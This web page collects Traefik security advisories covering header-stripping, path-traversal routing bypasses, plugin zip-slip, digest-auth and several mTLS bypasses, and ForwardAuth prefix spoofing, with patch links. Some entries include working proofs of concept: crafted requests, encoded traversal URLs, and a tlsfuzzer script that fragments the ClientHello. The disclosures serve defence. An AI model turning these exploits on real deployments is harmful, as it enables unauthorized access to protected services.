See how traefik compares to other vendors in security performance
Impact
There is a vulnerability in Traefik that allows the client to remove the X-Forwarded headers (except the header X-Forwarded-For).
Patches
- <a href="https://github.com/traefik/traefik/releases/tag/v2.11.9">https://github.com/traefik/traefik/releases/tag/v2.11.9</a> - <a href="https://github.com/traefik/traefik/releases/tag/v3.1.3">https://github.com/traefik/traefik/releases/tag/v3.1.3</a>
Workarounds
No workaround.
For more information
If you have any questions or comments about this advisory, please open an issue.
<details> <summary>Original Description</summary> Summary
When a HTTP request is processed by Traefik, certain HTTP headers such as X-Forwarded-Host or X-Forwarded-Port are added by Traefik before the request is routed to the application. For a HTTP client, it should not be possible to remove or modify these headers. Since the application trusts the value of these headers, security implications might arise, if they can be modified.
For HTTP/1.1, however, it was found that some of theses custom headers can indeed be removed and in certain cases manipulated. The attack relies on the HTTP/1.1 behavior, that headers can be defined as hop-by-hop via the HTTP Connection header. By setting the following connection header, the X-Forwarded-Host header can, for example, be removed:
Connection: close, X-Forwarded-Host
Depending on how the receiving application handles such cases, security implications may arise. Moreover, some application frameworks (e.g. Django) first transform the "-" to "" signs, making it possible for the HTTP client to even modify these headers in these cases.
This is similar to <a href="https://access.redhat.com/security/cve/CVE-2022-31813">CVE-2022-31813</a> for Apache HTTP Server.
Details
It was found that the following headers can be removed in this way (i.e. by specifing them within a connection header):
- X-Forwarded-Host - X-Forwarded-Port - X-Forwarded-Proto - X-Forwarded-Server - X-Real-Ip - X-Forwarded-Tls-Client-Cert - X-Forwarded-Tls-Client-Cert-Info
PoC
The following docker-compose file has been used for a simple setup:
services: traefik: image: traefik:v3.1 containername: traefik ports: - "443:443" volumes: - /var/run/docker.sock:/var/run/docker.sock:ro - ./traefik.yaml:/etc/traefik/traefik.yaml - ./traefik-certs:/certs
python-http: build: context: . dockerfile: Dockerfile containername: python-http labels: - "traefik.enable=true" - "traefik.http.routers.python-http.rule=Host(python.example.com)" - "traefik.http.routers.python-http.entrypoints=websecure" - "traefik.http.routers.python-http.tls=true" - "traefik.http.services.python-http.loadbalancer.server.port=8080"
The following traefik.yaml has been used:
providers: docker: exposedByDefault: false watch: true file: fileName: /etc/traefik/traefik.yaml watch: true
entryPoints: websecure: address: ":443"
tls: certificates: - certFile: /certs/server-cert.pem keyFile: /certs/server-key.pem
The Python container just includes a simple Python HTTP server that prints the HTTP headers it receives. Here is the Dockerfile for the container:
FROM python:3-alpine
Copy the Python script to the container COPY server.py /server.py
Set the working directory WORKDIR /
Command to run the Python server CMD ["python", "/server.py"]
And here is the Python script:
from http.server import BaseHTTPRequestHandler, HTTPServer
class RequestHandler(BaseHTTPRequestHandler): def sendresponse(self): self.sendresponse(200) self.sendheader("Content-type", "text/plain") self.endheaders() self.wfile.write(str(self.headers).encode("utf-8"))
def doGET(self): self.sendresponse()
if name == "main": server = HTTPServer(('0.0.0.0', 8080), RequestHandler) print("Server started on port 8080") server.serveforever()
The environment is run with sudo docker-compose up.
A normal HTTP request/response pair looks like this:
Request 1
GET / HTTP/1.1 Host: python.example.com User-Agent: Mozilla/5.0 (X11; Linux x8664) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7 Priority: u=0, i Connection: close
Response 1
HTTP/1.1 200 OK Content-Type: text/plain Date: Tue, 03 Sep 2024 06:53:49 GMT Server: BaseHTTP/0.6 Python/3.12.5 Connection: close Content-Length: 556
Host: python.example.com User-Agent: Mozilla/5.0 (X11; Linux x8664) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7 Priority: u=0, i X-Forwarded-For: 172.20.0.1 X-Forwarded-Host: python.example.com X-Forwarded-Port: 443 X-Forwarded-Proto: https X-Forwarded-Server: 3138fe4f0a2e X-Real-Ip: 172.20.0.1
The custom headers added by Traefik can be seen in the response.
Next, a request, where the X-Forwarded-Host header is defined as a hop-by-hop header via the Connection header is sent:
Request 2
GET / HTTP/1.1 Host: python.example.com User-Agent: Mozilla/5.0 (X11; Linux x8664) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7 Priority: u=0, i Connection: close, X-Forwarded-Host
Response 2
Host: python.example.com User-Agent: Mozilla/5.0 (X11; Linux x8664) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7 Priority: u=0, i X-Forwarded-For: 172.20.0.1 X-Forwarded-Port: 443 X-Forwarded-Proto: https X-Forwarded-Server: 3138fe4f0a2e X-Real-Ip: 172.20.0.1
As can be seen from the response, the X-Forwarded-Host header that had been added by Traefik has been removed from the request.
Moreover, the next request/response pair demonstrates that a custom header with underscore instead of hyphen can be added:
Request 3
GET / HTTP/1.1 Host: python.example.com User-Agent: Mozilla/5.0 (X11; Linux x8664) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7 Priority: u=0, i XForwardedHost: myhost Connection: close, X-Forwarded-Host
Response 3
HTTP/1.1 200 OK Content-Type: text/plain Date: Tue, 03 Sep 2024 06:54:48 GMT Server: BaseHTTP/0.6 Python/3.12.5 Connection: close Content-Length: 544
Host: python.example.com User-Agent: Mozilla/5.0 (X11; Linux x8664) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7 Priority: u=0, i X-Forwarded-For: 172.20.0.1 X-Forwarded-Port: 443 X-Forwarded-Proto: https X-Forwarded-Server: 3138fe4f0a2e X-Real-Ip: 172.20.0.1 Xforwardedhost: myhost
Some backend frameworks (e.g. Django) handle X-Forwarded-Host and Xforwardedhost in the same way. As there is no X-Forwarded-Host header present in the request, the Xforwardedhost header will be used.
It should be noted that when X-Forwarded-Host is present and a Xforwardedhost header is sent, usually the first occurence of the header will be used, which is in this case X-Forwarded-Host.
It should be noted that the headers X-Forwarded-Tls-Client-Cert and X-Forwarded-Tls-Client-Cert-Info are also affected. Here, client certificate authentication would need to be enabled in the Traefik setup.
Impact
All applications that trust the custom headers set by Traefik are affected by this vulnerability. As an example, assume that a backend application trusts Traefik to validate client certificates and trusts therefore the values that are sent within the X-Forwarded-Tls-Client-Cert header, but does not validate the certificate anew.
If the header is removed via the vulnerability, and the application framework allows for alternative names (e.g. by transforming the headers to lower case, and "-" to ""), an attacker can place his own XForwardedTLSClientCert header in the request. This could lead to privilege escalation, as the attacker may put an (invalid) certificate in this header that would just be accepted by the application, but may contain other data than the certificate that is presented to Traefik for Client Certificate Authentication.
Moreover, if the backend application uses any of the other custom headers for security-sensitive operations, the removal or modification of these headers may also security implications (e.g. access control bypass).
The severity is the same as for <a href="https://access.redhat.com/security/cve/CVE-2022-31813">CVE-2022-31813</a> for Apache HTTP Server, i.e. 9.8 Critical. </details>
Summary A path traversal vulnerability was discovered in WASM Traefik’s plugin installation mechanism. By supplying a maliciously crafted ZIP archive containing file paths with ../ sequences, an attacker can overwrite arbitrary files on the system outside of the intended plugin directory. This can lead to remote code execution (RCE), privilege escalation, persistence, or denial of service. ✅ After investigation, it is confirmed that no plugins on the Catalog were affected. There is no known impact.
Details The vulnerability resides in the WASM plugin extraction logic, specifically in the unzipFile function (/plugins/client.go). The application constructs file paths during ZIP extraction using filepath.Join(destDir, f.Name) without validating or sanitizing f.Name. If the ZIP archive contains entries with ../, the resulting path can escape the intended directory, allowing writes to arbitrary locations on the host filesystem.
Attack Requirements There are several requirements needed to make this attack possible: - The Traefik server should be deployed with plugins enabled with a WASM plugin (yaegi plugins are not impacted). - The attacker should have write access to a remote plugin asset loaded by the Traefik server - The attacker should craft a malicious version of this plugin
Warning As clearly stated in the documentation, plugins are experimental in Traefik, and unsafe plugins could damage your infrastructure:
Experimental Features Plugins can change the behavior of Traefik in unforeseen ways. Exercise caution when adding new plugins to production Traefik instances.
Impact This vulnerability did not affect any plugin from the catalog. There is no known impact. Additionally, the catalog will also prevent any compromised plugin to be available across all Traefik versions. This vulnerability could allow an attacker to perform arbitrary file write outside the intended plugin extraction directory by crafting a malicious ZIP archive that includes ../ (directory traversal) in file paths.
Traefik versions before v2.11.55 and versions v3.0.0 through v3.7.10 contain an authentication bypass vulnerability in the digestAuth middleware where unknown usernames receive an empty secret instead of rejection. Attackers can compute a valid digest response using the empty secret and arbitrary credentials to bypass authentication on any digestAuth-protected route without a valid username or password.
Impact
There is a potential vulnerability in Traefik managing the requests using a PathPrefix, Path or PathRegex matcher.
When Traefik is configured to route the requests to a backend using a matcher based on the path, if the URL contains a /../ in its path, it’s possible to target a backend, exposed using another router, by-passing the middlewares chain.
Example
yaml apiVersion: traefik.io/v1alpha1 kind: IngressRoute metadata: name: my-service spec: routes: - match: PathPrefix(‘/service’) kind: Rule services: - name: service-a port: 8080 middlewares: - name: my-middleware-a - match: PathPrefix(‘/service/sub-path’) kind: Rule services: - name: service-a port: 8080
In such a case, the request http://mydomain.example.com/service/sub-path/../other-path will reach the backend my-service-a without operating the middleware my-middleware-a unless the computed path is http://mydomain.example.com/service/other-path and should be computes by the first router (operating my-middleware-a).
Patches
- https://github.com/traefik/traefik/releases/tag/v2.11.24 - https://github.com/traefik/traefik/releases/tag/v3.3.6 - https://github.com/traefik/traefik/releases/tag/v3.4.0-rc2
Workaround
Add a PathRegexp rule to the matcher to prevent matching a route with a /../ in the path.
Example:
yaml match: PathPrefix(/service) && !PathRegexp((?:(/\.\./)+.))
For more information
If you have any questions or comments about this advisory, please open an issue.
Impact
There is a potential vulnerability in Traefik managing the requests using a PathPrefix, Path or PathRegex matcher.
When Traefik is configured to route the requests to a backend using a matcher based on the path, if the URL contains a URL encoded string in its path, it’s possible to target a backend, exposed using another router, by-passing the middlewares chain.
Example
yaml apiVersion: traefik.io/v1alpha1 kind: IngressRoute metadata: name: my-service spec: routes: - match: PathPrefix(‘/service’) kind: Rule services: - name: service-a port: 8080 middlewares: - name: my-middleware-a - match: PathPrefix(‘/service/sub-path’) kind: Rule services: - name: service-a port: 8080
In such a case, the request http://mydomain.example.com/service/sub-path/%2e%2e/other-path will reach the backend my-service-a without operating the middleware my-middleware-a unless the computed path is http://mydomain.example.com/service/other-path and should be computes by the first router (operating my-middleware-a).
Patches
- https://github.com/traefik/traefik/releases/tag/v2.11.25 - https://github.com/traefik/traefik/releases/tag/v3.4.1
For more information
If you have any questions or comments about this advisory, please open an issue.
<details> <summary>Original Description</summary> Summary
Path traversal with "/../" using URL encodings ("/%2e%2e") allows for circumventing routing rules.
Details
When having defined a route, you can path traverse using the URL encoded variant of /../ and reach endpoints that are not made publicly available. This issue has been found and fixed earlier with regular /../ and has been fixed in this CVE. This URL encoding trick works around that https://nvd.nist.gov/vuln/detail/CVE-2025-32431
Simply implementing a check on the URL encoding won't be sufficient as path traversal can take numerous formats. See examples here: https://book.hacktricks.wiki/en/pentesting-web/file-inclusion/index.html
PoC
Setup a service with two endpoints: "/public" and "/private", which returns a 200 OK for both Setup a Traefik proxy with a single route which points to the service using path /public
Regular requests to traefik /public will return 200 OK and to /private should return 404 (response by Traefik) When making a request to /public/%2e%2e/private you should receive a 200 OK.
Impact Impacts all traefik implementations with path prefix routes that expose only part of the downstream api
Suggestion Provide configuration property which disables all path traversals. Steps: 1. Decode URL 2. Evaluate and construct relative path (do traversal before route evaluation) 3. Compare relative/evaluated path to configured routes (PathPrefix/pathRegexp) </details>
Traefik before 2.10.5 and 3.0.0-beta4 is affected by a denial-of-service vulnerability in HTTP/2 request handling inherited from the Go standard library's HTTP/2 implementation (CVE-2023-44487 / CVE-2023-39325, the 'Rapid Reset' technique). A remote attacker can rapidly create and cancel HTTP/2 streams to exhaust server resources and cause service unavailability.
Traefik versions >= v3.7.0 and <= v3.7.10 contain an authentication bypass in the Kubernetes Ingress NGINX provider. The TLS option generated for an Ingress carrying the nginx.ingress.kubernetes.io/auth-tls-secret annotation was named after the Ingress namespace and name. As a result, two Ingress objects sharing the same host, the same client CA secret, and the same client-authentication mode produced two distinct TLS option names for that host. Traefik treats this as a TLS options conflict and falls back to the entry point's default TLS configuration, which does not request a client certificate, so a route configured with nginx.ingress.kubernetes.io/auth-tls-verify-client: "on" becomes reachable without a client certificate. Only the v3.7 line is affected; the issue is fixed in v3.7.11.
Traefik before v2.11.55 and v3.0.0 through v3.7.10 contain a TLS option conflict resolution vulnerability that allows unauthenticated attackers to bypass client-certificate authentication by creating conflicting TLS options on multi-host routers. Attackers can reach protected backends by exploiting shared TLS resolution across multiple hostnames in a single router rule, causing the strict mTLS requirement to fall back to default options for all hosts.
Traefik is an HTTP reverse proxy and load balancer. Prior to version 2.4.13, there exists a potential header vulnerability in Traefik's handling of the Connection header. Active exploitation of this issue is unlikely, as it requires that a removed header would lead to a privilege escalation, however, the Traefik team has addressed this issue to prevent any potential abuse. If one has a chain of Traefik middlewares, and one of them sets a request header, then sending a request with a certain Connection header will cause it to be removed before the request is sent. In this case, the backend does not see the request header. A patch is available in version 2.4.13. There are no known workarounds aside from upgrading.
Traefik is an open source HTTP reverse proxy and load balancer. In affected versions there is a potential vulnerability in Traefik managing TLS connections. A router configured with a not well-formatted TLSOption is exposed with an empty TLSOption. For instance, a route secured using an mTLS connection set with a wrong CA file is exposed without verifying the client certificates. Users are advised to upgrade to version 2.9.6. Users unable to upgrade should check their logs to detect the error messages and fix your TLS options.
Summary
There is a potential vulnerability in Traefik's TLS SNI pre-sniffing logic related to fragmented ClientHello packets.
When a TLS ClientHello is fragmented across multiple records, Traefik's SNI extraction may fail with an EOF and return an empty SNI. The TCP router then falls back to the default TLS configuration, which does not require client certificates by default. This allows an attacker to bypass route-level mTLS enforcement and access services that should require mutual TLS authentication.
Patches
- https://github.com/traefik/traefik/releases/tag/v2.11.41 - https://github.com/traefik/traefik/releases/tag/v3.6.11 - https://github.com/traefik/traefik/releases/tag/v3.7.0-ea.2
For more information
If you have any questions or comments about this advisory, please open an issue.
<details> <summary>Original Description</summary>
Summary I found a behavior in Traefik's latest version where fragmented ClientHello packets can cause pre-sniff SNI extraction to not find the sni (EOF during sniff), which makes the TCP router fall back to default routing TLS config.
If the default TLS config does not require client certificates (which is NoClientCert by default), the handshake succeeds without client auth, and the request is later routed to the HTTP Host which should be the protected with client certificate authentication (RequireAndVerifyClientCert tls config).
Details The vulnerability is caused by a mismatch between where Traefik decides the TLS policy per host and where Go TLS can finally parse the full ClientHello.
1. In router.go, ServeTCP function calls clientHelloInfo. 2. clientHelloInfo peeks only one TLS record length (recLen) and then peeks exactly 5 + recLen bytes. It runs a temporary TLS parse on those bytes to extract the SNI. If ClientHello is fragmented, pre-sniff may return empty SNI (With fragmentation, first record can be incomplete for full ClientHello parsing). 4. clientHelloInfo still returns isTLS=true and empty SNI (it thinks there is no sni so it applies the default tls config (Which is by default NoClientCert which is permissive) 5. Real Go TLS handshake succeeds later without requiring the client cert. 6. Request is routed to the host that should have been protected.
Conditions required for impact: - Route-level TLS options enforce mTLS for a host. - Default TLS config is weaker (noClientCert, which is the default default). - Pre-sniff fails to extract SNI (due to fragmented ClientHello).
A workaround for this is to set the default tls config to RequireAndVerifyClientCert (but then you need to explicitly define for each permissive host the NoClientCert TLS config).
A suggestion to fix is to parse the complete ClientHello before tls config decision (handle multi-record fragmentation).
PoC python prerequisites (ubuntu/debian, in rhel/fedora you need to run only the install command (dnf) but with "docker" instead of docker.io and podman will emulate it) sudo apt update sudo apt install -y docker.io openssl git python3 python3-venv sudo usermod -aG docker "$USER" in debian/ubuntu run newgrp docker to apply the new group to the user
mkdir -p /tmp/traefik-frag-poc/{certs,config/dynamic} cd /tmp/traefik-frag-poc
CA openssl genrsa -out certs/ca.key 4096 openssl req -x509 -new -nodes -key certs/ca.key -sha256 -days 3650 \ -subj "/CN=PoC-CA" -out certs/ca.crt
Server cert (whoami.home.arpa) cat > certs/server.cnf <<'EOFSERVERCNF' [req] distinguishedname = dn reqextensions = v3req prompt = no
[dn] CN = whoami.home.arpa
[v3req] subjectAltName = @altnames
[altnames] DNS.1 = whoami.home.arpa EOFSERVERCNF
openssl genrsa -out certs/traefik.key 2048 openssl req -new -key certs/traefik.key -out certs/traefik.csr -config certs/server.cnf openssl x509 -req -in certs/traefik.csr -CA certs/ca.crt -CAkey certs/ca.key -CAcreateserial \ -out certs/traefik.crt -days 365 -sha256 -extensions v3req -extfile certs/server.cnf
Client cert (valid client) openssl genrsa -out certs/client.key 2048 openssl req -new -key certs/client.key -subj "/CN=client1" -out certs/client.csr openssl x509 -req -in certs/client.csr -CA certs/ca.crt -CAkey certs/ca.key -CAcreateserial \ -out certs/client.crt -days 365 -sha256
cat > config/traefik.yml <<'EOFTRAEFIKCFG' entryPoints: websecure: address: ":8443"
providers: file: directory: /etc/traefik/dynamic watch: true
log: level: DEBUG EOFTRAEFIKCFG
cat > config/dynamic/dynamic.yml <<'EOFDYNAMICCFG' http: routers: whoami: rule: "Host(whoami.home.arpa)" entryPoints: - websecure service: whoami tls: options: mtls
services: whoami: loadBalancer: servers: - url: "http://whoami:80"
tls: certificates: - certFile: /certs/traefik.crt keyFile: /certs/traefik.key
options: mtls: clientAuth: caFiles: - /certs/ca.crt clientAuthType: RequireAndVerifyClientCert EOFDYNAMICCFG
docker network create traefik-poc
run a whoami microservice for the bypass demonstration docker run -d \ --name whoami \ --network traefik-poc \ --restart unless-stopped \ traefik/whoami:v1.11.0
docker run -d \ --name traefik \ --network traefik-poc \ -p 8443:8443 \ --restart unless-stopped \ -v "$PWD/config/traefik.yml:/etc/traefik/traefik.yml:ro,Z" \ -v "$PWD/config/dynamic:/etc/traefik/dynamic:ro,Z" \ -v "$PWD/certs:/certs:ro,Z" \ traefik:3.6.10 \ --configFile=/etc/traefik/traefik.yml
watch traefik logs to ensure everything was deployed correctly docker logs traefik
tlsfuzzer setup + frag client script
mkdir -p /tmp/testtlsfuzz cd /tmp/testtlsfuzz git clone https://github.com/tlsfuzzer/tlsfuzzer.git cd tlsfuzzer
python3 -m venv .venv source .venv/bin/activate pip install -r requirements.txt
cat > fragclienthello.py <<'EOFFRAGSCRIPT' import argparse import sys import os
from tlsfuzzer.runner import Runner from tlsfuzzer.messages import ( Connect, SetMaxRecordSize, ClientHelloGenerator, CertificateGenerator, CertificateVerifyGenerator, ClientKeyExchangeGenerator, ChangeCipherSpecGenerator, FinishedGenerator, ApplicationDataGenerator, AlertGenerator, ) from tlsfuzzer.expect import ( ExpectServerHello, ExpectCertificate, ExpectServerKeyExchange, ExpectCertificateRequest, ExpectServerHelloDone, ExpectChangeCipherSpec, ExpectFinished, ExpectApplicationData, ExpectAlert, ExpectClose, ) from tlsfuzzer.helpers import SIGALL from tlslite.constants import ( CipherSuite, ExtensionType, AlertLevel, AlertDescription, GroupName, ) from tlslite.extensions import ( SNIExtension, TLSExtension, SupportedGroupsExtension, SignatureAlgorithmsExtension, SignatureAlgorithmsCertExtension, ) from tlslite.utils.keyfactory import parsePEMKey from tlslite.x509 import X509 from tlslite.x509certchain import X509CertChain
class PrettyExpectApplicationData(ExpectApplicationData): def process(self, state, msg): super().process(state, msg) text = msg.write().decode("utf-8", errors="replace") head, , body = text.partition("\r\n\r\n") print("\n=== HTTP RESPONSE ===") print(head) print() print(body) print("=== END HTTP RESPONSE ===\n")
def loadclientcertandkey(certpath, keypath): cert = None key = None
if certpath: textcert = open(certpath, "rb").read() if sys.versioninfo[0] >= 3: textcert = str(textcert, "utf-8") cert = X509() cert.parse(textcert)
if keypath: textkey = open(keypath, "rb").read() if sys.versioninfo[0] >= 3: textkey = str(textkey, "utf-8") key = parsePEMKey(textkey, private=True)
return cert, key
def main(): p = argparse.ArgumentParser() p.addargument("--connect-host", default="127.0.0.1") p.addargument("--port", type=int, default=8443) p.addargument("--sni", default="whoami.home.arpa") p.addargument("--record-size", type=int, default=512) p.addargument("--padding-len", type=int, default=1200) p.addargument("--expect-cert-request", action="storetrue") p.addargument("--client-cert-pem", default="") p.addargument("--client-key-pem", default="") args = p.parseargs()
cert, key = loadclientcertandkey(args.clientcertpem, args.clientkeypem)
print(f"[DBG] certarg={args.clientcertpem!r} keyarg={args.clientkeypem!r}") for p in [args.clientcertpem, args.clientkeypem]: if p: print(f"[DBG] file={p} exists={os.path.exists(p)} size={os.path.getsize(p) if os.path.exists(p) else -1}")
print(f"[DBG] certloaded={cert is not None} keyloaded={key is not None}") print(f"[DBG] bool(cert)={bool(cert) if cert is not None else None} bool(key)={bool(key) if key is not None else None}")
if (args.clientcertpem or args.clientkeypem) and not (cert and key): raise ValueError("Provide both --client-cert-pem and --client-key-pem")
conv = Connect(args.connecthost, args.port) node = conv node = node.addchild(SetMaxRecordSize(args.recordsize))
ext = { ExtensionType.servername: SNIExtension().create(bytearray(args.sni, "ascii")), ExtensionType.supportedgroups: SupportedGroupsExtension().create( [GroupName.secp256r1, GroupName.ffdhe2048] ), ExtensionType.signaturealgorithms: SignatureAlgorithmsExtension().create(SIGALL), ExtensionType.signaturealgorithmscert: SignatureAlgorithmsCertExtension().create(SIGALL), 21: TLSExtension().create(21, bytearray(args.paddinglen)), }
ciphers = [ CipherSuite.TLSECDHERSAWITHAES128GCMSHA256, CipherSuite.TLSECDHERSAWITHAES128CBCSHA, CipherSuite.TLSDHERSAWITHAES128CBCSHA, CipherSuite.TLSEMPTYRENEGOTIATIONINFOSCSV, ]
node = node.addchild(ClientHelloGenerator(ciphers, extensions=ext)) node = node.addchild(ExpectServerHello()) node = node.addchild(ExpectCertificate()) node = node.addchild(ExpectServerKeyExchange())
if args.expectcertrequest: node = node.addchild(ExpectCertificateRequest())
node = node.addchild(ExpectServerHelloDone())
if args.expectcertrequest and cert and key: node = node.addchild(CertificateGenerator(X509CertChain([cert]))) node = node.addchild(ClientKeyExchangeGenerator()) node = node.addchild(CertificateVerifyGenerator(key)) node = node.addchild(ChangeCipherSpecGenerator()) node = node.addchild(FinishedGenerator()) node = node.addchild(ExpectChangeCipherSpec()) node = node.addchild(ExpectFinished()) req = bytearray( f"GET / HTTP/1.1\r\nHost: {args.sni}\r\nConnection: close\r\n\r\n".encode("ascii") ) node = node.addchild(ApplicationDataGenerator(req)) node = node.addchild(PrettyExpectApplicationData(output=sys.stdout)) node = node.addchild(AlertGenerator(AlertLevel.warning, AlertDescription.closenotify)) node = node.addchild(ExpectAlert()) node.nextsibling = ExpectClose()
elif args.expectcertrequest and not (cert and key): node = node.addchild(CertificateGenerator()) node = node.addchild(ClientKeyExchangeGenerator()) node = node.addchild(ChangeCipherSpecGenerator()) node = node.addchild(FinishedGenerator()) node = node.addchild(ExpectChangeCipherSpec()) node = node.addchild(ExpectFinished())
else: node = node.addchild(ClientKeyExchangeGenerator()) node = node.addchild(ChangeCipherSpecGenerator()) node = node.addchild(FinishedGenerator()) node = node.addchild(ExpectChangeCipherSpec()) node = node.addchild(ExpectFinished()) req = bytearray( f"GET / HTTP/1.1\r\nHost: {args.sni}\r\nConnection: close\r\n\r\n".encode("ascii") ) node = node.addchild(ApplicationDataGenerator(req)) node = node.addchild(PrettyExpectApplicationData(output=sys.stdout)) node = node.addchild(AlertGenerator(AlertLevel.warning, AlertDescription.closenotify)) node = node.addchild(ExpectAlert()) node.nextsibling = ExpectClose()
try: Runner(conv).run() print("[OK] conversation completed") except AssertionError as e: print(f"[TLS RAW ERROR] {e}") marker = "Unexpected message from peer: " s = str(e) if marker in s: print(f"[TLS PEER MESSAGE] {s.split(marker, 1)[1].strip()}") raise
if name == "main": main() EOFFRAGSCRIPT
chmod +x fragclienthello.py cd /tmp/testtlsfuzz/tlsfuzzer source .venv/bin/activate
case 1: non fragmented, no client cert (strict mTLS path, should fail. traefik logs should inform that client didn't provide a certificate) python fragclienthello.py \ --connect-host 127.0.0.1 \ --port 8443 \ --sni whoami.home.arpa \ --record-size 16384 \ --expect-cert-request
case 1b with openssl instead of my script printf 'GET / HTTP/1.1\r\nHost: whoami.home.arpa\r\nConnection: close\r\n\r\n' | \ openssl sclient \ -connect 127.0.0.1:8443 \ -servername whoami.home.arpa \ -tls12 \ -CAfile /tmp/traefik-frag-poc/certs/ca.crt \ -state -msg -tlsextdebug -verifyreturnerror
case 2: non fragmented, with valid client cert (should succeed) python fragclienthello.py \ --connect-host 127.0.0.1 \ --port 8443 \ --sni whoami.home.arpa \ --record-size 16384 \ --expect-cert-request \ --client-cert-pem /tmp/traefik-frag-poc/certs/client.crt \ --client-key-pem /tmp/traefik-frag-poc/certs/client.key
case 2b with openssl instead of my script printf 'GET / HTTP/1.1\r\nHost: whoami.home.arpa\r\nConnection: close\r\n\r\n' | \ openssl sclient -connect 127.0.0.1:8443 -servername whoami.home.arpa -tls12 \ -cert /tmp/traefik-frag-poc/certs/client.crt \ -key /tmp/traefik-frag-poc/certs/client.key \ -CAfile /tmp/traefik-frag-poc/certs/ca.crt -quiet
case 3 fragmented ClientHello, no client cert (bypass behavior test) python fragclienthello.py \ --connect-host 127.0.0.1 \ --port 8443 \ --sni whoami.home.arpa \ --record-size 500 in the record-size you can play with it as long as the client hello sni sniff function returns an EOF
Impact An attacker can bypass route-level mTLS enforcement by fragmenting ClientHello so Traefik pre-sniff fails (EOF) and falls back to default permissive TLS config.
</details>
--
Summary
There is a high-severity authentication bypass vulnerability in Traefik's ForwardAuth middleware when trustForwardHeader=false is configured and Traefik is deployed behind a trusted upstream proxy.
While X-Forwarded- headers (such as X-Forwarded-For, X-Forwarded-Host, and X-Forwarded-Proto) from trusted context are correctly rebuilt, it does not strip or rebuild X-Forwarded-Prefix, leaving any attacker-supplied value intact in the subrequest forwarded to the authentication service.
When the authentication service makes authorization decisions based on X-Forwarded-Prefix, an external attacker can spoof a trusted prefix value and gain unauthorized access to protected backend routes.
Patches
- https://github.com/traefik/traefik/releases/tag/v2.11.43 - https://github.com/traefik/traefik/releases/tag/v3.6.14 - https://github.com/traefik/traefik/releases/tag/v3.7.0-rc.2
For more information
If there are any questions or comments about this advisory, please open an issue.
<details> <summary>Original Description</summary>
Summary ForwardAuth with trustForwardHeader=false still forwards an attacker-controlled X-Forwarded-Prefix header to the authentication service when Traefik is deployed behind a trusted upstream proxy. If the auth service relies on X-Forwarded-Prefix for authorization or routing decisions, an external attacker can bypass access controls and reach protected backend routes.
This was validated this against Traefik v3.6.12 using the official Docker image and a minimal local Docker setup. A direct request to Traefik is correctly rejected, but the same request succeeds when sent through a trusted reverse proxy, which shows the issue is in the ForwardAuth subrequest handling rather than general ingress header stripping.
Details The vulnerable behavior comes from the way Traefik builds the subrequest sent to the forward-auth server.
In pkg/middlewares/auth/forward.go, writeHeader first copies all incoming request headers into the auth subrequest:
go func writeHeader(req, forwardReq http.Request, trustForwardHeader bool, allowedHeaders []string) { utils.CopyHeaders(forwardReq.Header, req.Header) ... forwardReq.Header = filterForwardRequestHeaders(forwardReq.Header, allowedHeaders)
It then selectively rebuilds only a subset of forwarded headers when trustForwardHeader=false, for example:
- X-Forwarded-For - X-Forwarded-Method - X-Forwarded-Proto - X-Forwarded-Port - X-Forwarded-Host - X-Forwarded-Uri
However, it does not remove or rebuild X-Forwarded-Prefix, so an attacker-supplied value remains in the auth request even when forwarded headers are supposed to be untrusted.
This becomes security-relevant when StripPrefix is used before ForwardAuth. In pkg/middlewares/stripprefix/stripprefix.go, Traefik appends the stripped prefix using Header.Add:
go func (s stripPrefix) serveRequest(rw http.ResponseWriter, req http.Request, prefix string) { req.Header.Add(ForwardedPrefixHeader, prefix)
If the attacker already sent X-Forwarded-Prefix: /admin, and StripPrefix later adds /forbidden, the auth service receives both values in this order:
1. /admin (attacker-controlled) 2. /forbidden (Traefik-generated)
An auth service that uses the first X-Forwarded-Prefix value can therefore be tricked into authorizing a protected route.
Why this appears unintended:
- The docs say trustForwardHeader means "Trust all X-Forwarded- headers" and defaults to false. - The migration notes say X-Forwarded-Prefix is handled like other X-Forwarded- headers and removed from untrusted sources. - The direct-to-Traefik test case behaves consistently with that expectation and returns 403. - Only the auth subrequest path still honors the spoofed X-Forwarded-Prefix.
Relevant source/documentation locations:
- pkg/middlewares/auth/forward.go lines 393-459 - pkg/middlewares/stripprefix/stripprefix.go lines 65-68 - pkg/middlewares/forwardedheaders/forwardedheader.go lines 15-43 - docs/content/reference/routing-configuration/http/middlewares/forwardauth.md lines 59-62 and 130-140 - docs/content/migrate/v3.md lines 192-196
